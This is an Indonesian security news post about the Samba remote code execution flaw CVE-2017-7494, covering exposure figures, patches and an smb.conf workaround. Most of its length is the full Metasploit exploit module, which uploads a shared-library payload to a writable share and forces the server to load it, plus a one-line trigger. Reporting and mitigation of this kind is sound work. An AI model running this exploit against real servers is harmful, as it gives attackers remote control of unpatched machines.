PT. Digital Media Techindo

Perum Pondok Tandala, Jl. Bungur V No. 230
Kawalu, Kota Tasikmalaya
Jawa Barat - Indonesia 46182




Kerentanan kritis 7 tahun remote code execution kali ini ditemukan dalam software jaringan Samba. Kerentanan RCE Samba ini memunginkan attacker untuk mengendalikan mesin Linux dan Unix yang terkena dampak dari jarak jauh atau secara remote.

Samba adalah software open-source (implementasi ulang protokol jaringan SMB) yang berjalan pada sebagian besar sistem operasi yang ada saat ini, termasuk Windows, Linux, UNIX, IBM System 390, dan OpenVMS.

Samba memungkinkan sistem operasi non-Windows, seperti GNU/Linux atau Mac OS X, untuk berbagi folder, file, dan printer dengan sistem operasi Windows.

Kerentanan RCE Samba yang baru ditemukan ini (CVE-2017-7494) mempengaruhi semua versi yang lebih baru dari Samba 3.5.0, yang dirilis pada tanggal 1 Maret 2010.

Semua versi Samba dari 3.5.0 dan seterusnya rentan terhadap kerentanan RCE, yang memungkinkan klien jahat mengunggah share library ke bagian yang writeable, dan kemudian menyebabkan server memuat dan menjalankannya,” tulis Samba dalam sebuah advisory yang diterbitkan Rabu kemarin.

Eksploit EternalBlue untuk versi Linux?

Menurut mesin pencari Shodan, lebih dari 400.000 komputer menjalankan Samba yang mengekspos port 445 di Internet, dan menurut para peneliti di Rapid7, lebih dari 104.000 titik akhir yang terpapar internet tampaknya menjalankan versi Samba yang rentan, dari 92.000 diantaranya menjalankan versi Samba yang sudah tidak didukung.

Karena Samba adalah protokol SMB yang diterapkan pada sistem Linux dan UNIX, maka beberapa ahli mengatakan bahwa ini adalah “versi Linux dari EternalBlue,” yang digunakan oleh ransomware WannaCry.

Mengingat jumlah sistem yang rentan dan mudahnya mengeksploitasi kerentanan ini, kerentanan RCE Samba dapat dimanfaatkan dalam skala besar dengan kemampuan wormable.

Exploit Code?

Kerentanannya ini sangat mudah dieksploitasi. Hanya satu baris kode yang diperlukan untuk mengeksekusi kode berbahaya pada sistem yang terpengaruh.

simple.create_pipe("/path/to/target.so")

Namun, Samba exploit telah di porting ke Metasploit, sebuah framework pentest, yang memungkinkan periset serta hacker memanfaatkan kelemahan ini dengan mudah.


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba is_known_pipename() Arbitrary Module Load',
      'Description'    => %q{
          This module triggers an arbitrary shared library load vulnerability
        in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
        requires valid credentials, a writeable folder in an accessible share,
        and knowledge of the server-side path of the writeable folder. In
        some cases, anonymous access combined with common filesystem locations
        can be used to automatically exploit this vulnerability.
      },
      'Author'         =>
        [
          'steelo <knownsteelo[at]gmail.com>',    # Vulnerability Discovery
          'hdm',                                  # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2017-7494' ],
          [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
        ],
      'Payload'         =>
        {
          'Space'       => 9000,
          'DisableNops' => true
        },
      'Platform'        => 'linux',
      #
      # Targets are currently limited by platforms with ELF-SO payload wrappers
      #
      'Targets'         =>
        [
          [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
          [ 'Linux x86',        { 'Arch' => ARCH_X86 } ],
          [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ],
        # [ 'Linux MIPS',       { 'Arch' => MIPS } ],
        ],
      'Privileged'      => true,
      'DisclosureDate'  => 'Mar 24 2017',
      'DefaultTarget'   => 2))

    register_options(
      [
        OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
        OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
        OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
      ])
  end


  def generate_common_locations
    candidates = []
    if datastore['SMB_SHARE_BASE'].to_s.length > 0
      candidates << datastore['SMB_SHARE_BASE']
    end

    %W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name|
      candidates << base_name
      candidates << [base_name, @share]
      candidates << [base_name, @share.downcase]
      candidates << [base_name, @share.upcase]
      candidates << [base_name, @share.capitalize]
      candidates << [base_name, @share.gsub(" ", "_")]
    end

    candidates.uniq
  end

  def enumerate_directories(share)
    begin
      self.simple.connect("\\\\#{rhost}\\#{share}")
      stuff = self.simple.client.find_first("\\*")
      directories = [""]
      stuff.each_pair do |entry,entry_attr|
        next if %W{. ..}.include?(entry)
        next unless entry_attr['type'] == 'D'
        directories << entry
      end

      return directories

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Enum #{share}: #{e}")
      return nil

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{share}")
      end
    end
  end

  def verify_writeable_directory(share, directory="")
    begin
      self.simple.connect("\\\\#{rhost}\\#{share}")

      random_filename = Rex::Text.rand_text_alpha(5)+".txt"
      filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"

      wfd = simple.open(filename, 'rwct')
      wfd << Rex::Text.rand_text_alpha(8)
      wfd.close

      simple.delete(filename)
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Write #{share}#{filename}: #{e}")
      return false

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{share}")
      end
    end
  end

  def share_type(val)
    [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
  end

  def enumerate_shares_lanman
    shares = []
    begin
      res = self.simple.client.trans(
        "\\PIPE\\LANMAN",
        (
          [0x00].pack('v') +
          "WrLeh\x00"   +
          "B13BWz\x00"  +
          [0x01, 65406].pack("vv")
        ))
    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Could not enumerate shares via LANMAN")
      return []
    end
    if res.nil?
      vprint_error("Could not enumerate shares via LANMAN")
      return []
    end

    lerror, lconv, lentries, lcount = res['Payload'].to_s[
      res['Payload'].v['ParamOffset'],
      res['Payload'].v['ParamCount']
    ].unpack("v4")

    data = res['Payload'].to_s[
      res['Payload'].v['DataOffset'],
      res['Payload'].v['DataCount']
    ]

    0.upto(lentries - 1) do |i|
      sname,tmp = data[(i * 20) +  0, 14].split("\x00")
      stype     = data[(i * 20) + 14, 2].unpack('v')[0]
      scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
      scoff -= lconv if lconv != 0
      scomm,tmp = data[scoff, data.length - scoff].split("\x00")
      shares << [ sname, share_type(stype), scomm]
    end

    shares
  end

  def probe_module_path(path)
    begin
      simple.create_pipe(path)
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      vprint_error("Probe: #{path}: #{e}")
    end
  end

  def find_writeable_path(share)
    subdirs = enumerate_directories(share)
    return unless subdirs

    if datastore['SMB_FOLDER'].to_s.length > 0
      subdirs.unshift(datastore['SMB_FOLDER'])
    end

    subdirs.each do |subdir|
      next unless verify_writeable_directory(share, subdir)
      return subdir
    end

    nil
  end

  def find_writeable_share_path
    @path = nil
    share_info = enumerate_shares_lanman
    if datastore['SMB_SHARE_NAME'].to_s.length > 0
      share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
    end

    share_info.each do |share|
      next if share.first.upcase == 'IPC$'
      found = find_writeable_path(share.first)
      next unless found
      @share = share.first
      @path  = found
      break
    end
  end

  def find_writeable
    find_writeable_share_path
    unless @share && @path
      print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
      fail_with(Failure::NoTarget, "No matching target")
    end
    print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
  end

  def upload_payload
    begin
      self.simple.connect("\\\\#{rhost}\\#{@share}")

      random_filename = Rex::Text.rand_text_alpha(8)+".so"
      filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
      wfd = simple.open(filename, 'rwct')
      wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform,
        payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
      )
      wfd.close

      @payload_name = random_filename
      return true

    rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Write #{@share}#{filename}: #{e}")
      return false

    ensure
      if self.simple.shares["\\\\#{rhost}\\#{@share}"]
        self.simple.disconnect("\\\\#{rhost}\\#{@share}")
      end
    end
  end

  def find_payload
    print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}")

    # Reconnect to IPC$
    simple.connect("\\\\#{rhost}\\IPC$")

    #
    # In a perfect world we would find a way make IPC$'s associated CWD
    # change to our share path, which would allow the following code:
    #
    # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")
    #

    # Until we find a better way, brute force based on common paths
    generate_common_locations.each do |location|
      target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
      print_status("Trying location #{target}...")
      probe_module_path(target)
    end
  end

  def exploit
    # Setup SMB
    connect
    smb_login

    # Find a writeable share
    find_writeable

    # Upload the shared library payload
    upload_payload

    # Find and execute the payload from the share
    find_payload rescue Rex::StreamClosedError

    # Shutdown
    disconnect
  end

end

Patch dan Mitigasi

Samba telah menambal masalah ini di versi baru 4.6.4 / 4.5.10 / 4.4.14, dan mendesak mereka yang menggunakan versi rentan dari Samba untuk menginstal patch sesegera mungkin.

Tapi jika kamu tidak bisa mengupgrade ke Samba versi terbaru dengan segera, kamu bisa mengatasi kerentanan tersebut dengan menambahkan baris berikut ke file konfigurasi Samba di smb.conf:

nt pipe support = no

Setelah ditambahkan, restart daemon SMB (smbd) dan selesai. Perubahan ini akan mencegah klien untuk sepenuhnya mengakses beberapa mesin jaringan, serta menonaktifkan beberapa fungsi untuk sistem Windows yang terhubung.

Sementara vendor distribusi Linux, termasuk Red Hat dan Ubuntu, telah merilis versi patch untuk penggunanya, risiko yang lebih besar adalah konsumen perangkat NAS yang mungkin tidak akan diperbarui dengan cepat.

Craig Williams dari Cisco mengatakan bahwa mengingat fakta kebanyakan perangkat NAS menjalankan Samba dan memiliki data yang sangat berharga, kerentanannya “berpotensi menjadi worm ransomware Linux skala besar pertama.

Namun, saat ini juga Samba telah menyediakan patch untuk versi yang lebih tua dan sudah tidak didukung.

Sementara itu, Netgear merilis sebuah advisory keamanan untuk CVE-2017-7494, dengan mengatakan sejumlah besar router dan model produk NAS terpengaruh oleh kekurangan tersebut karena mereka menggunakan Samba versi 3.5.0 atau yang lebih baru.

Namun, perusahaan tersebut saat ini merilis firmware fixes hanya untuk produk ReadyNAS yang menjalankan OS 6.x.


Just a simple person who like photography, videography, code, and cyber security enthusiast.